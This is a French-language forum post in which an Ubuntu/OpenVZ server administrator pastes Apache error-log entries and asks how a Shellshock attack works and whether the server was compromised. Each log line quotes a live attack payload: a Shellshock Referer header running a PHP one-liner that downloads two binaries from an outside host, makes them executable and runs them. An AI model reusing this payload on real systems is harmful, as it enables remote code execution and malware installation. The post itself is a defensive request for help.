Bonjour à tous,
Je parcourais mon error.log de apache2 quand je suis tombé sur quelques milliers d'entrées comme celles-ci :
Code:
[Wed Apr 15 00:45:19.284824 2015] [cgi:error] [pid 19549] [client 188.165.250.52:39124] script not found or unable to stat: /usr/lib/cgi-bin/signon.cgi, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://x5d.su/s/susu1";''$b = "http://x5d.su/s/susu2";''$c = sys_get_temp_dir();''$d = "susu1";''$e = "susu2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'
[Wed Apr 15 00:45:19.286695 2015] [cgi:error] [pid 17297] [client 188.165.250.52:39154] script not found or unable to stat: /usr/lib/cgi-bin/test-cgi.pl, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://x5d.su/s/susu1";''$b = "http://x5d.su/s/susu2";''$c = sys_get_temp_dir();''$d = "susu1";''$e = "susu2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'
[Wed Apr 15 00:45:19.288155 2015] [cgi:error] [pid 467] [client 188.165.250.52:39177] script not found or unable to stat: /usr/lib/cgi-bin/test.sh, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://x5d.su/s/susu1";''$b = "http://x5d.su/s/susu2";''$c = sys_get_temp_dir();''$d = "susu1";''$e = "susu2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'
[Wed Apr 15 00:45:19.289754 2015] [cgi:error] [pid 15782] [client 188.165.250.52:39200] script not found or unable to stat: /usr/lib/cgi-bin/tools, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://x5d.su/s/susu1";''$b = "http://x5d.su/s/susu2";''$c = sys_get_temp_dir();''$d = "susu1";''$e = "susu2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'
[Wed Apr 15 00:45:19.300486 2015] [cgi:error] [pid 17297] [client 188.165.250.52:39330] attempt to invoke directory as script: /usr/lib/cgi-bin/, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://x5d.su/s/susu1";''$b = "http://x5d.su/s/susu2";''$c = sys_get_temp_dir();''$d = "susu1";''$e = "susu2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'
Il s'agit d'une tentative de piratage manifestement, mais je ne sais pas bien comment m'assurer que rien n'est compromis. En fait, je ne comprend pas en soi comment fonctionne l'attaque...
Dans la mesure où je garde toutes mes installations à jour, j'imagine que son attaque n'est pas passée. Mais y'a-t-il un moyen de le vérifier ?
Merci de votre aide
EDIT : j'apporte quelques précisions car j'ai posté mon message entre deux portes.
Le serveur en question est un conteneur OpenVZ sous ubuntu server. J'ai effectué des recherches sur Google et il semblerait que ce soit une exploitation de la faille Shellshock, qui logiquement est corrigée sur ubuntu par une mise à jour sortie peu après son annonce publique.
Je cherche à savoir si il y a un moyen de savoir "où regarder" si jamais l'attaque avait réussi, afin de m'assurer que tout va bien. En attendant, j'ai banni l'ip avec iptables, même si c'est inutile à mon avis.
En tout état de cause, j'ai vérifié les utilisateurs du CT et rien ne m'a paru suspect. Je pense donc que l'attaque n'a pas marché...